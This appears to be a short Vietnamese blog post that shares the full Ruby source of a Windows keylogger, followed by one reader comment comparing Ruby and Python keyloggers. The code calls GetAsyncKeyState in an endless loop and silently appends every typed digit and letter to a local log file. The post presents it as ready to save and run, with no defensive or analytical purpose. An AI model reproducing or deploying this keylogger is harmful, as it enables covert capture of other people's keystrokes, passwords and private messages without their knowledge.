Cái này thực chất ít dùng lắm !
Source code :
#!usr/bin/ruby
require 'Win32API'
def savefile(filename, text)
files = File.open(filename, 'a')
files.write(text)
files.close
end
def save_key_pressed(nave, num)
savefile("logs.txt", num.chr()) if nave.call(num) & 0x01 == 1
end
def loop_through_keys(range, nave)
range.each do |num|
save_key_pressed(nave, num)
end
end
def start
nave = Win32API.new("user32", "GetAsyncKeyState", ["i"], "i")
while true
loop_through_keys((0x30..0x39), nave) # Numbers
loop_through_keys((0x41..0x5A), nave) # Letters
end
end
start()
Lưu với đuôi .rb
Cách chạy thì chắc ai cũng biết !


1 nhận xét:
cho hỏi có sự khác biệt gì giữa keylloger ruby và keylloger python ko
Đăng nhận xét